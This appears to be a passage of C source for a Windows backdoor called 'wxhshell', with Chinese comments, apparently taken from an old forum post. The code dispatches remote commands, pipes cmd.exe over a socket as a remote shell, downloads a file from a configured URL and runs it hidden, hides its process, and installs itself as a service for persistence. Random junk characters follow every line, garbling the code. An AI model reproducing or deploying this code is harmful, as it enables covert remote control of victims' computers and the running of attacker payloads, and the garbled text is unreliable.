  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u|QfCwQ  
  else x(S 064  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '|]zBpz  
  } K/%aoTO}  
  else { QGshc  
QGLm4 Wl9  
    switch(cmd[0]) { .IKK.G  
  _&dGo(B  
  // 帮助 aB'<#X$x  
  case '?': { sL\|y38'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pnqjAT GU  
    break; &rNXn?>b  
  } I) Y$?"  
  // 安装 |Zt=8}di  
  case 'i': { jM7}LV1Ck  
    if(Install()) + u)'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l|&|+u#  
    else o_5|L9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 \h2&  
    break; qA"?5j32  
    } B' :ZX-Q)  
  // 卸载 P{}Oe *9"  
  case 'r': { 5:s]z#8)  
    if(Uninstall()) 0c3G_I=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lZ.,"F@  
    else &[Sw:{&*jv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KX9ZwsC0  
    break; /4T%&#6s  
    } ?v")Z 0 ~  
  // 显示 wxhshell 所在路径 94a _ W9  
  case 'p': { ,]cd%w9  
    char svExeFile[MAX_PATH]; D:F!;n9  
    strcpy(svExeFile,"\n\r"); AVcZ.+?  
      strcat(svExeFile,ExeFile); SU#|&_wtr!  
        send(wsh,svExeFile,strlen(svExeFile),0); { j/w3  
    break; t 1&p> v  
    } d9^=#ot  
  // 重启 pixI&iQ  
  case 'b': { ' l!QGKz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lhjPS!A~  
    if(Boot(REBOOT)) |QzPY8B9O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nB:Bw8U"Q  
    else { T4f:0r;^f*  
    closesocket(wsh); mWGT (`|~/  
    ExitThread(0); Awr]@%I  
    } 5o72X k  
    break; [ wu%t8O2  
    } ;J5oO$H+68  
  // 关机 j2\G1@05  
  case 'd': { K^> qn,]H'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &G"]v]V  
    if(Boot(SHUTDOWN)) XSxya .1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 (}?f  
    else { A5/h*`Q\\  
    closesocket(wsh); '{+hti,Lh  
    ExitThread(0); _rR.Y3N  
    } a%]p*X!  
    break; 2xnOWW   
    } h T Xc0  
  // 获取shell ~j 4=PT  
  case 's': {  LSfj7j`  
    CmdShell(wsh); >N3{*W  
    closesocket(wsh); MD On; Af>  
    ExitThread(0); A9R}74e4g  
    break; 3n/L; T,X  
  } Jg Xbs+.  
  // 退出 Z g'[.wov  
  case 'x': { 2 43DdIG$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "*T)L<G  
    CloseIt(wsh); rcbixOT  
    break; C4G)anT  
    } '*-SvA\Cx  
  // 离开  I&v B\A  
  case 'q': { ~kHir]jc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /;lk.-yU  
    closesocket(wsh); l9jcoVo .  
    WSACleanup(); tT v@8f  
    exit(1); E?zp?t:a  
    break; +|0m6)J]  
        } 49#-\=<gt  
  }  AH} nTm  
  } dqkkA/1  
hlVP_h"z  
  // 提示信息 [L\w] 6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kQb0pfYs  
} QxkfP%_g  
  } :C&?(HJ&r  
af_zZf!0  
  return; 4R0_%x6vG  
} zZRqb/20  
j[HKC0C6  
// shell模块句柄 42C:cl} ."  
int CmdShell(SOCKET sock) ZD<,h` lZ  
{ *dQRs6  
STARTUPINFO si; J\%:jg( m  
ZeroMemory(&si,sizeof(si)); fg9sZ%67]\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _I!Xr!!)a0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _x \Ll?,  
PROCESS_INFORMATION ProcessInfo; lAGxE-B^a"  
char cmdline[]="cmd"; 5bAXa2Vt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WDX?|q9rCt  
  return 0; ;e{2?}#8&  
} kj8zWG4KH  
`SG70/  
// 自身启动模式 5FzRusNiA  
int StartFromService(void) 9@j~1G%^  
{ <V, ?!}V  
typedef struct l&rDa=m.J  
{ [0}471  
  DWORD ExitStatus; 5>=tNbk"s  
  DWORD PebBaseAddress; eS"gHldz  
  DWORD AffinityMask; ~ U1iB  
  DWORD BasePriority; SN+Bmdup  
  ULONG UniqueProcessId; V?"^Ff3m!  
  ULONG InheritedFromUniqueProcessId; =UV?Pi*M>  
}   PROCESS_BASIC_INFORMATION; Y[H_?f=;%  
.x x#>Y-\  
PROCNTQSIP NtQueryInformationProcess; Cam}:'a/`  
ke%zp-2c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4/jY;YN,2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J!H5{7.efN  
\w:u&6,0O  
  HANDLE             hProcess; qYh,No5\;t  
  PROCESS_BASIC_INFORMATION pbi; -3V~YhG  
i`Yf|^;@2>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b'OO~>86  
  if(NULL == hInst ) return 0; !69^ kIi$  
1D`RR/g&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {7wvC)WW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ky#6M? \  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e\dT~)c  
lVFX@I=pI  
  if (!NtQueryInformationProcess) return 0; 4A&e+kz&:R  
{$t*Mb0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gB"Tc[l1  
  if(!hProcess) return 0; (H F,p,h_  
epL[PL}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EH3G|3^xz  
)k1,oUx  
  CloseHandle(hProcess); \XN5))  
@b/2'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KH7]`CU  
if(hProcess==NULL) return 0; sHuz10  
V588Leb?  
HMODULE hMod; qh'BrYu*  
char procName[255]; JA}'d7yEa  
unsigned long cbNeeded; ? 1{S_  
g-^m\>B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oD7H6\_  
oL@ou{iQ  
  CloseHandle(hProcess); -7$'* V9$  
{q)B@#p  
if(strstr(procName,"services")) return 1; // 以服务启动 JXAyF6 $  
zJ:r0Bt  
  return 0; // 注册表启动 &>jkfG  
} gh}AD1TN]  
>(rB[ZJ  
// 主模块 ^;3rdBprm  
int StartWxhshell(LPSTR lpCmdLine) CJOl|"UyJ  
{ ]aRD6F:L  
  SOCKET wsl; qWpCe*C  
BOOL val=TRUE; &V3oW1*W  
  int port=0; ) T1 oDk  
  struct sockaddr_in door; *N r|G61  
>FHsZKJ  
  if(wscfg.ws_autoins) Install(); -IS9uaT5  
/RC!Yi  
port=atoi(lpCmdLine); Yel(}Ny  
2P ?Iu&  
if(port<=0) port=wscfg.ws_port; >>cd3)b  
iq:[+  
  WSADATA data; AL7O-D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }Yl=lc vw  
E?mp6R]}%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q75^7Ga_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `Cf en8  
  door.sin_family = AF_INET; Y/66`&,{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e W)I}z +{  
  door.sin_port = htons(port); W~F/ZrT3A  
a~7osRmp0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1.H!A@  
closesocket(wsl); RG3G},Q   
return 1; KaE;4gwM  
} bW^QH-t  
3x0wk9lND  
  if(listen(wsl,2) == INVALID_SOCKET) { yTt (fn:;  
closesocket(wsl); cOZ^huK  
return 1; }hitU(5t0  
} kA;Tr4EA6  
  Wxhshell(wsl); T:">,* |  
  WSACleanup(); Iq]6]  
Pu*HZW3l  
return 0; 8VmN? "5v  
$-?5Q~  
} }.cmiC  
Oc9>F\]_m  
// 以NT服务方式启动 U_;J.{n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9sj W  
{ DB%AO:8  
DWORD   status = 0;  KdJx#Lc  
  DWORD   specificError = 0xfffffff; Qf>Pb$c$U  
mMAr8~ A=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B 9Q. s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t/WnDR/fM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J<#`IaV  
  serviceStatus.dwWin32ExitCode     = 0; {U '&9_y  
  serviceStatus.dwServiceSpecificExitCode = 0; %Dls36F  
  serviceStatus.dwCheckPoint       = 0; "ue$DyN  
  serviceStatus.dwWaitHint       = 0; #Rx"L&3Ue  
w LN2`ucC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZV]e-  
  if (hServiceStatusHandle==0) return; ,(27p6!  
Fg\| e%  
status = GetLastError(); \ e8*vos  
  if (status!=NO_ERROR) nYy}''l<  
{ KbdfSF$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *-AAQ  
    serviceStatus.dwCheckPoint       = 0; ~1r*/@M[V  
    serviceStatus.dwWaitHint       = 0; [F)/mN  
    serviceStatus.dwWin32ExitCode     = status; 62l0 Z-  
    serviceStatus.dwServiceSpecificExitCode = specificError; |id79qY7g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E:4P1,%01+  
    return; s!/holu  
  } XH:gQ9FD  
if[o?6U4t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4_762Gu%  
  serviceStatus.dwCheckPoint       = 0; @Du}   
  serviceStatus.dwWaitHint       = 0; 1|WpKaMoq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t-m9n*\j1  
} VUC <0WV  
^GrkIh0nL  
// 处理NT服务事件,比如:启动、停止 E'^]zW=9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #O9*$eMw  
{ k\c &2T]W  
switch(fdwControl) EcU'*  
{ )*K<;WI WH  
case SERVICE_CONTROL_STOP: *Iwk47J ;a  
  serviceStatus.dwWin32ExitCode = 0; |] !o*7"4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mOgOHb2  
  serviceStatus.dwCheckPoint   = 0; q$?7 ~*M;x  
  serviceStatus.dwWaitHint     = 0; uz#PBV8Q  
  { q_]   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U 'CfP9=  
  } myWmU0z/  
  return; TG63  
case SERVICE_CONTROL_PAUSE: !jnqA Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'ztL3(|X6  
  break; Vo 6y8@\  
case SERVICE_CONTROL_CONTINUE: QI#*5zm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |pH* CCA  
  break; { 0%TMiVf  
case SERVICE_CONTROL_INTERROGATE: ~0F9x9V  
  break; a()6bRc~T  
}; BgkB x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Bq"$M!Y  
} Oh/b?|imG  
[7e{=\`=  
// 标准应用程序主函数 `  -[Bo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H6ky)kF&  
{ &V#zkW  
{yHB2=nI  
// 获取操作系统版本 0^&(u:~  
OsIsNt=GetOsVer(); RO%tuU,-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K=c=/`E  
[-E{}FL|  
  // 从命令行安装 OY^n0Zof,  
  if(strpbrk(lpCmdLine,"iI")) Install(); -eR!qy:.]5  
DrCWvpudd  
  // 下载执行文件 :otY;n-  
if(wscfg.ws_downexe) { [W9e>Nsp0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H-_^TB  
  WinExec(wscfg.ws_filenam,SW_HIDE); D/S>w(=  
} M9Nk=s! 3  
qIDWl{b<  
if(!OsIsNt) { hY.e[+  
// 如果时win9x,隐藏进程并且设置为注册表启动 jSie&V@px  
HideProc(); ^Y{6;FJ  
StartWxhshell(lpCmdLine); \ W 'i0+  
} CGd[3}"  
else GJC!0{8;  
  if(StartFromService()) *(d6Z#  
  // 以服务方式启动 8O8\q ;US  
  StartServiceCtrlDispatcher(DispatchTable); d2C[wQF  
else }fJ:wku  
  // 普通方式启动 rnn2u+OG   
  StartWxhshell(lpCmdLine); {d 1N&  
QiTR-M2C!  
return 0; abROFI5.L  
}
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只看该作者 1 发表于: 2006-10-10
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